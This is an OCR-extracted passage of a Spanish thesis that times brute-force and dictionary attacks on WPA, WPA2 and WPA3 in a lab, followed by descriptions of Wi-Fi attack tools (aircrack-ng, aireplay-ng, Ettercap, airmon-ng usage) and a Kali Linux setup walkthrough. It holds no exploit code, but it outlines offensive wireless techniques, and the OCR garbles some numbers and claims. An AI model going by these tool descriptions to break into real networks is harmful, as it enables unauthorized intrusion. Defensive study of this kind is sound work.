Valor 3 5.4
Valor 4 5.4
Valor 5 5.3
Valor 6 5.7
Valor 7 3.5
Valor 8 5.4
Valor 9 5.2
Valor 10 5.4
Valor 11 5.6
Valor 12 5.3
Valor 13 5.3
Valor 14 5.3
Valor 15 3.5
Valor 16 5.4
Valor 17 5.2
Valor 18 5.3
Valor 19 5.6
Valor 20 5.6
Valor 21 5.6
Valor 22 5.3
Valor 23 5.4
Valor 24 5.7
Valor 25 5.5
Valor 26 5.4
Valor 27 5.2
Valor 28 5.3
Valor 29 5.2
Valor 30 5.3

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

Promedio de tiempo de éxito ataque fuerza bruta =

*  AtBrut;

n
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52+55+--52+5,3
30

Promedio de tiempo de éxito ataque fuerza bruta =
162

=—=—=54
30

Obteniendo que en promedio el tiempo de éxito del ataque de fuerza bruta en el
protocolo WPA fueron 5,4 minutos.

Ataque de fuerza bruta (Aircrack-ng) en Protocolo WPA2

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de éxito del

ataque:

Tabla 34.

Tiempos de éxito de ataque de fuerza bruta con el protocolo WPA2.
Valor 1 6.4
Valor 2 6.3
Valor 3 6.3
Valor 4 6.7
Valor 5 6.4
Valor 6 6.5
Valor 7 6.5
Valor 8 6.7
Valor 9 6.5
Valor 10 6.4
Valor 11 6.6
Valor 12 6.4
Valor 13 6.5
Valor 14 6.7
Valor 15 6.4
Valor 16 6.3
Valor 17 6.6
Valor 18 6.6
Valor 19 6.8
Valor 20 6.4
Valor 21 6.8
Valor 22 6.3
Valor 23 6.2
Valor 24 6.4
Valor 25 6.8
Valor 26 6.8
Valor 27 6.3
Valor 28 6.3
Valor 29 6.5
Valor 30 6.8

Fuente: Elaboracion Propia.
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Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

. . L * , AtBrut;
Promedio de tiempo de éxito ataque fuerza bruta = —
. ) - 6,4+63+-65+6,8
Promedio de tiempo de éxito ataque fuerza bruta = 30
195 6
30

Obteniendo que en promedio el tiempo de éxito del ataque de fuerza bruta en el
protocolo WPA2 fueron 6,5 minutos.

Ataque de fuerza bruta (Aircrack-ng) en Protocolo WPAS3

Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de éxito del

ataque:

Tabla 35.

Tiempos de éxito de ataque de fuerza bruta con el protocolo WPA3.
Valor 1 15.7
Valor 2 15.7
Valor 3 15.8
Valor 4 15.2
Valor 5 155
Valor 6 154
Valor 7 15.6
Valor 8 15.8
Valor 9 15.7
Valor 10 154
Valor 11 154
Valor 12 155
Valor 13 155
Valor 14 15.6
Valor 15 15.6
Valor 16 155
Valor 17 15.7
Valor 18 154
Valor 19 15.3
Valor 20 15.3
Valor 21 15.2
Valor 22 15.3
Valor 23 154
Valor 24 15.3
Valor 25 15.8
Valor 26 154
Valor 27 155
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Valor 28 15.6
Valor 29 15.3
Valor 30 15.4

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPAS, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

. . L ™, AtBrut;
Promedio de tiempo de éxito ataque fuerza bruta = —
. . , . 15,7 + 15,7 +---15,3 + 15,4
Promedio de tiempo de éxito ataque fuerza bruta = 30
_ 465 {55
30 7

Obteniendo que en promedio el tiempo de éxito del ataque de fuerza bruta en el
protocolo WPA3 fueron 15,5 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo:

Tabla 36.
Tiempo de éxito ante el ataque de fuerza bruta de los protocolos de seguridad Wi-
Fi.

Protocolos Wi-Fi WPA WPA2 WPA3
Ataque de fuerza bruta 54m 6,5min 15,5mi
in n

Fuente: Elaboracion propia.
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16
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12
10

Tiempo promedio de penetracién
del ataque en minutos

o N b~ OO

WPA WPA2 WPA3
Protocolos de seguridad Wi-Fi

Figura 24: Tiempo de éxito ante el ataque de fuerza bruta de los protocolos de

seguridad Wi-Fi. Fuente: Elaboracién Propia.

99



Ataque de diccionario a un ssid oculto
Ataque de diccionario a un ssid oculto en Protocolo WPA

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del

Tiempos de éxito de ataque de diccionario con el protocolo WPA.

ataque:
Tabla 37.
Valor 1 3.3
Valor 2 3.3
Valor 3 2.9
Valor 4 2.9
Valor 5 2.9
Valor 6 2.8
Valor 7 3.3
Valor 8 3.2
Valor 9 2.9
Valor 10 2.7
Valor 11 2.9
Valor 12 3.2
Valor 13 3.0
Valor 14 3.0
Valor 15 2.8
Valor 16 2.9
Valor 17 3.2
Valor 18 2.8
Valor 19 3.0
Valor 20 3.1
Valor 21 3.0
Valor 22 3.1
Valor 23 3.2
Valor 24 2.9
Valor 25 2.9
Valor 26 3.0
Valor 27 3.1
Valor 28 3.1
Valor 29 2.9
Valor 30 2.7

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

Promedio de tiempo de éxito ataque de diccionario =

n " -
i=1 AtDiccio;

n
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33+33+-:-29+27
30

Promedio de tiempo de éxito ataque de diccionario =
90

Obteniendo que en promedio el tiempo de éxito del ataque de diccionario en el
protocolo WPA fueron 3 minutos.

Ataque de diccionario a un ssid oculto en Protocolo WPA2

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de éxito del

ataque:

Tabla 38.

Tiempos de éxito de ataque de diccionario con el protocolo WPA2.
Valor 1 5.1
Valor 2 5.2
Valor 3 5.2
Valor 4 4.9
Valor 5 5.1
Valor 6 5.0
Valor 7 5.0
Valor 8 5.3
Valor 9 4.9
Valor 10 5.2
Valor 11 5.1
Valor 12 5.0
Valor 13 5.3
Valor 14 5.2
Valor 15 5.0
Valor 16 5.0
Valor 17 5.2
Valor 18 4.9
Valor 19 5.1
Valor 20 5.2
Valor 21 5.4
Valor 22 5.0
Valor 23 5.3
Valor 24 5.0
Valor 25 5.2
Valor 26 4.9
Valor 27 5.1
Valor 28 5.1
Valor 29 5.0
Valor 30 5.0

Fuente: Elaboracion Propia.
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Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

n 3 .
i=1 AtDiccio;

Promedio de tiempo de éxito ataque de diccionario =

n
, . .. . . 51+52+--50+5,0
Promedio de tiempo de éxito ataque de diccionario = 30
153 5 1
30 7

Obteniendo que en promedio el tiempo de éxito del ataque de diccionario en el
protocolo WPA2 fueron 5,1 minutos.

Ataque de diccionario a un ssid oculto en Protocolo WPA3

Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de éxito del

ataque:

Tabla 39.

Tiempos de éxito de ataque de diccionario con el protocolo WPA3.
Valor 1 8.5
Valor 2 8.3
Valor 3 8.7
Valor 4 8.4
Valor 5 8.7
Valor 6 8.4
Valor 7 8.4
Valor 8 8.5
Valor 9 8.3
Valor 10 8.3
Valor 11 8.7
Valor 12 8.3
Valor 13 8.7
Valor 14 8.7
Valor 15 8.6
Valor 16 8.6
Valor 17 8.4
Valor 18 8.7
Valor 19 8.5
Valor 20 8.4
Valor 21 8.3
Valor 22 8.4
Valor 23 8.8
Valor 24 8.4
Valor 25 8.8
Valor 26 8.5
Valor 27 8.5
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Valor 28 8.3
Valor 29 8.3
Valor 30 8.5

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPAS, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente formula:

n . .
i=1 AtDiccio;

Promedio de tiempo de éxito ataque de diccionario =

n
) ) . o ) 85+83+-:-83+85
Promedio de tiempo de éxito ataque de diccionario = 30
_ 255 g5
30

Obteniendo que en promedio el tiempo de éxito del ataque de diccionario en el
protocolo WPAS3 fueron 8,5 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo:

Tabla 40.
Tiempo de éxito ante el ataque de diccionario de los protocolos de seguridad Wi-
Fi.

Protocolos Wi-Fi WPA WPA2 WPA3

Ataque de diccionario 3min  5,1min 8,5min

Fuente: Elaboracion Propia.

Tiempo promedio de penetracién
del ataque en minutos
o |l N w I o (o) ~ oo (e}

WPA WPA2 WPA3
Protocolos de seguridad Wi-Fi

Figura 25: Tiempo de éxito ante el ataque de fuerza bruta de los protocolos de

seguridad Wi-Fi. Fuente: Elaboracion Propia.
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Luego de confrontar a los protocolos con los ataques informéaticos procedemos a

ingresarlos en la siguiente tabla:

Tabla 41.
Subtotales del Analisis de la Variable Independiente.

Dimensiones Indicadores WPA WPA2 WPA3

Confidencialidad Promedio de tiempo de éxito  8min 12 min 23,2min
de ataque
Phishing
Promedio de tiempo de éxito  3min 3,5min 4,4 min
de ataque
Man in the Middle
Promedio de tiempo de éxito  2min 2,4min 3,3min
de ataque
ARP Spoofing + DNS
Spoofing

Integridad Promedio de tiempo de éxito  3.4min 4 min 6min
de ataque de DoS

Autenticacion Promedio de tiempo de éxito  5.4min  6.5min 15.5min
de ataque de fuerza bruta
Promedio de tiempo de éxito 3 min 5.10min 8.5 min
de Ataque de diccionario aun
ssid oculto

RESULTADOS TOTALES 24.8min  33,4min 60,9min

Fuente: Elaboracion propia.
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Tabla 42.

Sumatoria de Analisis de la Variable dependiente.

DIMENSIONES WPA WPA2 WPA3
Confidencialidad 13 17,9 30,9
Integridad 3,4 4 6

Autentificacion

8,4 11,5 24

RESULTADOS TOTALES 248 334 60,9

Fuente: Elaboracion propia.

Dénde:

Puntaje total del Analisis: PT= %~ (Pi maximos por

indicador) Entonces:
PT=30,9 + 6 + 24 =60,9

Puntaje total de cada Protocolo Analizado: PT_PW=Z (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW) =

(PT_PW / PT) *100%

Tabla 43.

Porcentaje Total de Cada Protocolo Analizado.
WPA WPA2 WPA3

40,72% 54,84% 100%

Fuente: Elaboracion propia.

Tabla 44.

Porcentaje por Protocolo de Variable dependiente.
INDICES WPA WPA2 WPA3
PT _PW 24,8 33,4 60,9
PT 60,9 60,9 60,9
PORCENTAJE 40,72 54,84 100
POR
PROTOCOLO

Fuente: Elaboracion propia.
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Figura 26: Porcentaje por Protocolo de Variable dependiente.
Fuente: Elaboracion propia.

3.2.Discusion de resultados.

WPA mitigan de forma directa los ataques mencionados anteriormente no
obstante cabe indicar que WPA en cualquiera de sus variantes sigue siendo
vulnerable a ataques de contrasefias a causa de que el algoritmo de cifrado ha
sido vulnerado al ataque de denegacion de servicios DoS.

WPAZ2 al igual que su antecesor mitiga los ataques de forma directa debido a
que hace uso de un mejor algoritmo de encriptaciéon. WP3 por su parte
proporciona mayor proteccion ante ataques, incluso cuando no se cuenta con
una contrasefa fuerte, ademas que tiene un cifrado de trafico entre dispositivos
y puntos de acceso, de manera que intensifica la proteccion en redes publicas.
Dicho cifrado de 192 bits para redes empresariales o personales, es importante
para cuando donde se traten datos confidenciales. Ademas, cuenta con una
configuracion mas amable y simplificada para el emparejamiento de
dispositivos. Los tiempos de éxito de ataque ademas son mucho mayores en
todos los ataques cuando se confrontan con WPAS3, puesto que si bien los
protocolos no protegen al 100% de dichos ataques, se recomiendan tomar en
cuenta recomendaciones adicionales tales como: Rotacion de la contrasefia
WiFi: Tanto si se usa una contrasefia WiFi a nivel doméstico, como a nivel
empresarial, las contrasefias se deben cambiar periodicamente. Deshabilitar

TKIP: Su uso esta desaconsejado en la actualidad y se deberia deshabilitar. Si
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es estrictamente necesario se puede mantener haciendo uso de contrasefias
seguras de al menos 12 caracteres. Medir la propagacion de la sefal: Para
mejorar la cobertura WiFi y para evitar que la sefal inalambrica salga del
perimetro, se puede usar un software de site survey como Acrylic WiFi

Heatmaps para medir la cobertura.

3.3.Aporte préctico.
Seleccién de los protocolos de seguridad Wi-Fi existentes para

combatir las vulnerabilidades en redes inalambricas.

Desde los primeros dias de su adopcion, las redes inalambricas se han
considerado inseguras, a diferencia de las cableadas. Para hacer que las
redes inalambricas sean mas seguras y efectivas, se han desarrollado y
actualizado protocolos de seguridad Wi-Fi para compensar las fallas de
seguridad. ElI presente trabajo ha optado por seleccionar el total de
protocolos de seguridad de Wi-Fi, a saber, WPA, WPA2 y WPAS3, y realizé
una evaluacion de estos para permitir a los usuarios obtener una
comprensién profunda de la seguridad de Wi-Fi al elegir dispositivos
inaldmbricos.

Si inicia sesién en su enrutador inalambrico o punto de acceso y verifica la
seccién de seguridad inalambrica, generalmente presentara cuatro opciones
de protocolos de seguridad Wi-Fi: Acceso protegido Wi-Fi (WPA), Wi-Fi
Acceso protegido version 2 (WPA2) y acceso protegido Wi-Fi version 3

(WPA3), como se indicara a continuacion:

WPA: mejora temporal para WEP

En 2003, a medida que WEP se fue haciendo méas débil, WPA fue adoptado
por Wi-Fi Alliance como una alternativa para WEP. La tecnologia de cifrado
de 256 bits se introdujo en WPA, que es un aumento obvio en comparacion
con el cifrado de 64 y 128 bits del sistema WEP. En el estandar WPA, existe
una diversidad entre los dos modos: WPA-Enterprise y WPA-Personal, que
utilizan diferentes métodos de cifrado. WPA-Personal es un método comun

para proteger redes inaldmbricas y es adecuado para la mayoria de las redes
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domésticas. WPA-Enterprise proporciona la seguridad necesaria para las
redes inalambricas en entornos empresariales donde se implementa un
servidor RADIUS.

WPAZ2: mejora basada en WPA

WPAZ2 fue ratificado como el nuevo estandar de seguridad Wi-Fi en 2004. La
mejora mas significativa en el estandar de seguridad WPA2 es la
implementacion del Estandar de cifrado avanzado (AES), que proporciona
mayor seguridad y rendimiento. Todavia existe una vulnerabilidad que trae
problemas de seguridad porque un pirata informatico puede obtener acceso
a una red WPA2 segura y obtener acceso a ciertas claves para atacar otros
dispositivos en la misma red. Es un problema de seguridad que importa para

las redes empresariales, en lugar de para los usuarios de la red doméstica.

WPAG3: la seguridad Wi-Fi de préxima generacion

Con el objetivo de "simplificar la seguridad de Wi-Fi, permitir una
autenticacion mas solida y ofrecer una mayor capacidad criptografica para
mercados de datos altamente sensibles”, WPA3 fue propuesto por Wi-Fi
Alliance en junio de 2018. La llegada de WPAS3 corrige la proteccién contra
las fallas en WPA2 como ataques de diccionario. Para redes publicas como
cafeterias u hoteles, WPA3 tiene una seguridad realmente buena porque

encriptara automaticamente la conexion sin necesidad de credenciales.

En el siguiente cuadro comparativo se mostraran las cuatro generaciones de

protocolos de seguridad Wi-Fi en todos los aspectos de forma sucinta:
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Tabla 45.

Comparacion rapida de protocolos: WPA vs. WPA2 vs. WPA3.

WPA WPA2 WPA3
Afo de lanzamiento 2003 2004 2018
Método de cifrado Protocolo de CCMP and Advanced Encryption Standard(AES)
integridad de clave  Advanced
temporal(TKIP) con  Encryption
RC4 Standard
Tamafio de la clave de 128-bit 128-bit 128-bit(WPA3-Personal)
sesion 192-bit(WPA3-Enterprise)
Tipo de cifrado Flujo Bloque Bloque
Integridad de los datos Message Integrity CBC-MAC Secure Hash Algorithm
code
Gestion de claves Mecanismo 4-way Mecanismo 4- Autenticacion simultanea de Equals
handshaking way handshark
handshaking

Autenticacion

Pre-Shared Key
(PSK) & 802.1x
With EAP variant

Pre-Shared Key
(PSK) & 802.1x
With EAP
variant

Autenticacion simultanea de
Equals(SAE) & 802.1x with EAP variant

Fuente: Elaboracion Propia.
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Ademas, se indica informacién adicional a tomar en cuenta sobre las diferencias y

comparativa entre los protocolos de seguridad:

En cuanto al método de cifrado, WPA todavia utiliza el cifrado de flujo RC4
inseguro de WEP, pero proporciona seguridad adicional a través de
TKIP. Mientras que WEP y WPA usaban cifrado RC4, WPA2 usa el algoritmo
de cifrado AES-CCMP mas fuerte, al igual que WPA3. AES se ha
implementado para proteger el trafico diario de Internet, asi como ciertos
niveles de informacion clasificada en el gobierno de los EE. UU.

Se genera una clave de sesion durante el proceso de protocolo de enlace
SSL cada vez que alguien se conecta al sitio web. Las claves de sesion
suelen estar entre 40 y 256 bits. EI nUmero indica el tamafio de la llave. Una
clave méas grande tiene mas combinaciones posibles.

Y a diferencia de WPA y WPA2 que utiliza un protocolo de enlace de 4 vias
imperfecto para habilitar las conexiones inalambricas, que es la fuente de la
vulnerabilidad KRACK, el protocolo de enlace de autenticacion simultdnea
de iguales en WPA3 autentica correctamente un dispositivo en una red para
proteger las conexiones contra ataques.

WPA3 reemplaza PSK con SAE, una forma mas segura de realizar el
intercambio de claves inicial. Al mismo tiempo, el tamafo de la clave de
sesion de WPA3 aumenta a 128 bits en el modo WPA3-Personal y a 192 bits
en WPA3-Enterprise, lo que hace que la contrasefia sea mas dificil de

descifrar que los estandares de seguridad Wi-Fi anteriores.

110



DISENO DE UN ESCENARIO DE PRUEBAS
Escenario de pruebas

Para este escenario de pruebas, se contemplan los protocolos de

seguridad: WPA, WPA2 y WPAS3. La autenticacion la realiza el mismo

mecanismo de cifrado.

Software y hardware requerido:

Para este escenario se considera el uso de una computadora portatil

(laptop), que actia como cliente usuario, la misma que se enlaza a

un punto de acceso (D-Link), el cual soporta los protocolos de

seguridad descritos en este escenario. También se cuenta con otra

computadora portétil, en la cual se conecta una antena adaptador
USB Wi- Fi marca Alfa Networks modelo WUSB600ON para una mejor

recepcion de sefiales Wi-Fi, que hacen las veces de atacante, para

realizar las pruebas de intrusion y craqueo. El software de auditoria,

escaneo y ruptura estaran instalados en esta ultima portatil.

«7

Internet S
k,‘ )

Access Point

‘\"’5_

Antena USB Wi -Fi

Atacante

Laptop
(Cliente)

Figura 27: Escenario de pruebas. Fuente: (Tafur & Chavez, 2018)
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Software utilizado: Kali Linux

Kali Linux es una distribucion de Linux derivada de Debian mantenida por Offensive
Security. Fue desarrollado por Mati Aharoni y Devon Kearns. Kali Linux es un
sistema operativo especialmente disefiado para analistas de redes, probadores de
penetracion o, en palabras simples, es para aquellos que trabajan bajo el paraguas
de la ciberseguridad y el analisis. El sitio web oficial de Kali Linux es Kali.org. Gano
popularidad cuando practicamente se usé en Mr. Robot Series. No fue disefiado
para fines generales, se supone que debe ser utilizado por profesionales o por
aquellos que saben cémo operar Linux / Kali. Para saber como instalar Kali Linux
consulte su documentacion oficial (Geeksforgeeks, 2021).
Ventajas:
e Tiene mas de 600 herramientas de seguridad de red y pruebas de
penetracion preinstaladas.
e Es completamente gratuito y de codigo abierto. Para que puedas usarlo
gratis e incluso contribuir a su desarrollo.
e Es compatible con muchos idiomas.
e Genial para aquellos que son intermedios en Linux y tienen sus manos en
los comandos de Linux.

e Se puede usar facilmente con Rasberry Pi.

Desventajas:
e No se recomienda para aquellos que son nuevos en Linux y quieren
aprender Linux (ya que esta orientado a la penetracion)
e Es un poco mas lento.

e Es posible que algunos programas no funcionen correctamente.

Kali Linux debe ser utilizado por aquellos que son probadores de penetracion
profesionales, expertos en ciberseguridad, piratas informéaticos éticos o aquellos
que saben coémo operarlo. En palabras simples, si sabe como usar Linux y sus
comandos de terminal, arquitectura, sistema y administracion de archivos, entonces
esta listo para usar Kali Linux. Y si no es asi, le recomendamos que primero
comience con la distribucion de Ubuntu y obtenga Linux y, después de practicar
suficiente, podria probar Kali Linux. Esto no solo le ahorrara tiempo de busqueda
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en Internet, sino que también le permitira usarlo con facilidad. Sin embargo, si es
un probador de penetracion profesional o esta estudiando pruebas de penetracion,
no hay mejor conjunto de herramientas que Kali Linux.
Wifislax
Wifislax es un sistema operativo de distribucion (SO) Linux basado en Slackware.
Esta disefiado para pruebas de penetracion en Wi-Fi y para la practica de pirateria
ética. Contiene una variedad de herramientas de pentesting Wi-Fi como Fluxion,
Kismet, Aircarck, Airgeddon, MITM y muchas otras herramientas (Raza, 2018).
Puede romper redes Wi-Fi protegidas por WEP, WPA, WPA2. Tiene una interfaz
de linea de comandos. WPA Security es dificil de descifrar, pero aun es posible.
Las redes WEP son muy faciles de descifrar. Es por eso que, hoy en dia, todos los
Wi-Fi son compatibles con WPA.
Este sistema operativo es legal cuando lo usa White Hat Hacker, pero cuando un
Black Hat Hacker lo usa, definitivamente hace cosas ilegales en él.
Ettercap
Ettercap es una herramienta creada por Alberto Ornaghi (ALoR) y Marco Valleri
(NaGA) y es basicamente una suite para ataques man in the middle en una LAN.
Para aquellos a los que no les gusta la interfaz Command ike (CLI), se proporciona
una interfaz grafica sencilla (Openmaniak, 2008).
Ettercap es capaz de realizar ataques contra el protocolo ARP posicionandose
como "man in the middle" y, una vez posicionado asi, es capaz de:

e Infectar, reemplazar, borrar datos en una conexion.

e Descubrir contrasefias para protocolos como FTP, HTTP, POP, SSH1.

e Proporcione certificados SSL falsos en las secciones HTTPS a las victimas.

Airmon-ng

Este script se puede utilizar para habilitar el modo de monitor en interfaces
inaldmbricas. También se puede usar para volver del modo de monitor al modo
administrado. Al ingresar el comando airmon-ng sin parametros, se mostrara el
estado de las interfaces (KALITOOLS, 2016).

uso: airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>
Donde:

e <start | stop> indica si desea iniciar o detener la interfaz. (Obligatorio)
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¢ <interface> especifica la interfaz. (Obligatorio)

e [canal] configura opcionalmente la tarjeta en un canal especifico.

e <check | check kill>" check " mostrara cualquier proceso que pueda interferir
con la suite aircrack-ng. Se recomienda encarecidamente que estos
procesos se eliminen antes de utilizar la suite aircrack-ng. "Check kill "
comprobara y eliminara los procesos que puedan interferir con la suite

aircrack-ng.

Aircrack-ng
Es un conjunto de herramientas de seguridad de redes inalambricas. Nos permite
monitorear y exportar paquetes de datos, atacar puntos de acceso y clientes, y
descifrar claves WEP y WPA. He incluido algunos enlaces en la parte inferior si
alguien quiere investigar mas sobre la tecnologia inalambrica, RC4 o Aircrack-ng
(MCCAULEY, 2018).
Aireplay-ng
Se emplea para generar trafico inalambrico no autorizado. Se puede usar junto con
aircrack-ng con el fin de descifrar claves WEP y WPA. El propésito principal de
aireplay-ng es inyectar marcos. Hay varios tipos diferentes de ataques poderosos
que se pueden realizar usando aireplay-ng, como el ataque de desautenticacion,
que ayuda a capturar datos de protocolo de enlace WPA, o el ataque de
autenticacion falsa, en el que los paquetes se inyectan en el punto de acceso a la
red mediante la autenticacion de para crear y capturar nuevos IV (Azad, 2020).
Otros tipos de ataques se incluyen en la siguiente lista:

e Ataque de reproduccion de paquete interactivo

e Ataque de reproduccion de solicitud ARP

e Ataque chopchop de KoreK

e Ataque de café con leche

e Ataque de fragmentacion

Packetforge-ng

Es una herramienta para crear paquetes cifrados que posteriormente se pueden
utilizar para inyeccion. Puede crear varios tipos de paguetes, como solicitudes arp,

UDP, ICMP y paquetes personalizados. El uso mas comun es crear solicitudes ARP
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para su posterior inyeccion. Para crear un paquete cifrado, debe tener un archivo
PRGA (algoritmo de generacién pseudoaleatorio). Se utiliza para cifrar el paquete
que crea. Esto se obtiene tipicamente de aireplay-ng chopchop o ataques de
fragmentacion (Otreppe, 2018).
Seleccion de los protocolos de seguridad de red y realizacién de pruebas de
ataque con el fin de probar los protocolos de seguridad de red.
e Instalacion de maquina virtual en VMware-Kali Linux

1. Para realizar la instalacién de la maquina virtual en VMware es necesario

seleccionar el tipo de sistema operativo que se va a instalar. A continuacion

se presenta la figura con el sistema operativo que se instalo.

Mew Virtual Machine Wizard >

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system
() Microsoft Windows

@ Lirux
() WMware ESX
(") other

Version

Other Linux 2.4.x kernel 64-hit e

Help < Back Cancel

Figura 28: Seleccion del sistema operativo. Fuente: Elaboracién Propia.

2. Después de seleccionar el sistema operativo se procede a colocar un
nombre para la maquina virtual y se escoge la ruta en donde se almacend.
A continuacion, se presenta una figura misma que indica el nombre de la

maquina y la direccion.
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MName the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:

‘ Kali-Linux |

Location:
‘ C:\Users\deris\Documents\Virtual Machinesali-Linux | Browse, ..

The default location can be changed at Edit > Preferences.

< Back Mext = Cancel

Figura 29: Nombre de la méquina virtual y direccion. Fuente: Elaboracion
Propia.

Es importante agregar espacio en disco que ha tenido la maquina virtual,
puesto del espacio que se le asigna a la maquina virtual se obtiene del disco
duro fisico. En la figura 3 se indica el tamafio de disco que se le asigné a la
presente maquina.

MNew Virtual Machine Wizard *

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host computer's
physical disk. These file(s) start small and become larger as you add applications,
files, and data to your virtual machine.

Maximum disk size (GB): 20jo =

Recommended size for Other Linux 2.4.x kernel 64-bit: 8 GB

(O store virtual disk as a single file
(®) split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another computer
but may reduce performance with very large disks.

Help < Back Cancel

Figura 30: Asignacion de espacio a la maquina virtual. Fuente: Elaboracion
Propia.
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4. Es necesario verificar las caracteristicas de la maquina virtual, para proceder
con la instalaciéon del sistema operativo, dentro de la ventana de hardware
se selecciona la imagen del sistema que se va a instalar y que se ha
descargado con anterioridad. En la figura 4 se visualiza la configuracion que

tendra esta maquina.

Virtual Machine Settings X

Hardware Options

. Disk fil=
Device Summary
EMemory 1GE | C:\Users\doris\Documents \Wirtual MachinesKali-Linux ali-Linusx. vmdk
1 FProcessors 1
IS Disk (5CSD) 20 GB Capacity
(%) CD/OVD (IDE) Using file C:\Usersdoris\D. .. Current size: 2.6 MB
" Network Adapter NAT System free: 80.3 GB
[£] UsB controller Present Madmum size: 20 GB
t]i Sound Card Auto detect
i Printer Present Disk information
[lpisplay Auto detect

Disk space is not preallocated for this hard disk.
Hard digk contents are stored in multiple files.

Disk utilities

Map this virtual machine disk to a local volume, Map...
Defragment files and consolidate free space. Defragment
Expand disk capadty. Expand...
Compact disk to recaim unused space. Compact

Advanced...

Figura 31: Configuracion de la maquina virtual. Fuente: Elaboracion Propia.

5. Cuando la configuracién de la maquina virtual se encuentre lista se procede
con la instalacion del sistema operativo, en este caso se esta instalando Kali
Linux, para ello se han seguido los pasos que se muestran a continuacion.
o Seleccionar instalacion grafica para poder visualizar una interfaz

grafica.
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KALI

Rali Linux installer menuw (BIOS mode)

Graphical install

Install

Advanced options

Accessible dark contrast installer menu
Help

Install with speech synthesis

Figura 32: Instalacion en modo grafico. Fuente: Elaboracion Propia.

o Seleccionar el idioma de preferencia, en este caso se ha seleccionado

idioma inglés.

Select o language

(AL

Choose the language to be used for the instalfation process, The selected language will also be the default
language for the instalied system

Language

AU T D L . Rt Sl in
Chingse (Tradithonadl - =x{ew) »
Croatian < Hrvatsid

Ceech «  Cedtina (]
Danish «  Damsk

Dutch «  Nederlands L3

Dzongkha - E=

Esperanto « Esperanto

Estonian «  Eesti

Finnish +  Suvemi

French = Frangals

Galician «  Galego

Georgian - $alagee

German = Deutsch
Screenshos Go Back "_VC—'";!"}?

Figura 33: Seleccién del idioma. Fuente: Elaboracion Propia.

o Escoger el pais para el idioma, en este caso se ha optado por seleccionar

Estados Unidos.
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The selected location will be used to set your thme zone and also for example 1o help select the system locale.
Normally this should be the country where you live.

Sedect your location

This is a shortlise of locations based on the language you selected. Choose “other™ if your location is not Fsted,
Country, tevrtory or Fea:

ndia ~|
weland

srael

Now Zealand

Nigetia

Philippines

Seychelies

Singapore

South Africa

United Kingdoen
S
Zambia

Zimbabwe

other

Screenshot Go lack | Continue ’

Figura 34: Eleccion de la localizacion. Fuente: Elaboracion Propia.

o Configurar el idioma del teclado por esta ocasion se ha dejado en inglés.

Configure the keyboard

Koymap 10 ume
Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengall

Belgian

Berber (Latin)

Bosalan

Brasiian

Brivish Englsh
Bulgarian (BDS layour)
Bulgarian (phonetic layout)

Burmese

Canadian French

Canadian Multilinaual ’l
Scroenshotr Go Back | Contioue |

Figura 35: Configuracion del idioma del teclado Fuente: Elaboracién Propia.

o Alfinalizar la configuracion del idioma se procede a realizar la instalacion

de los componentes tal como se muestra en la figura 30.
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Load installer components from installation media

Loading additional components
Aetneving oyect wdeb

Figura 36: Instalacion de componentes. Fuente: Elaboraciéon Propia

o Alfinalizar la instalacion de los componentes se procede a configurar la
red, para ello se coloca un nombre de host o se lo deja con el
predeterminado que es el que se muestra en la figura 31

Configure the network

Please enter the hostname for this system.

mo ho«nam h 3 single word that Identifies your system to the network. if you don't know what your
d be, ¢

It your network administrator, if you are setting up your own home network, you
can make something up here.
Hostname:

=

Screenshot

| Gosack || Continue

Figura 37: Configuracion del hostname. Fuente: Elaboracion Propia
o La configuracién de la red requiere un nombre de dominio en caso de no

requerirlo para la continuacién del proyecto se puede dejar en blanco
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Configure the network

The domain name is the part of your internet address to the right of your host name. It is often something

that ends in .com, .net, .edu, or .org. I you are setting up a home network, you can make something up, but
make sure you use the same domain name on all your computers.

Domain name;
[

‘Screenshor Go Back | continue |

Figura 38: Configuracion del dominio. Fuente: Elaboracion Propia.

o Alfinalizar la configuracion de la red es necesario configurar el usuario y
contrasefia que se utilizé para acceder al sistema operativo, en esta

ocasion se ha configurado el usuario como Kali tal como se muestra en
la siguiente figura.

Aot up users and passwords

Sedect a username for the new account, Your first name is a reasonable choice, The username should start
with 2 lower-case lettor, which can be foll by any comb of numb

Usernzene for your account.

i

and more lower-ase letters.

Scrvenshor Go Nack | " Continwe

Figura 39: Configuracion del usuario. Fuente: Elaboracién Propia.
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o Es importante asignar una contrasefa para el usuario antes configurado.

Set up users and passwords

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals,

Choose a password for the new user:

oooe
[ Show Password In Clear

Please enter the same user password again to verity you have typed It correctly.
Re-enter password to venfy;

Nlll]
[ Show Password in Clear

é(reenﬂ;o: Gosatki Continue |

Figura 40: Configuracion de contrasefa. Fuente: Elaboracion Propia.

o Es importante realizar la configuracion del horario, en la siguiente figura

se indica la configuracién que se ha optado por realizar.
l KALI |

i the desired time zone is not Tisted, then plesse go back 1o the step “Chooss language™” and select 4 country
that uses the desired time zone (the country where you live or are located),

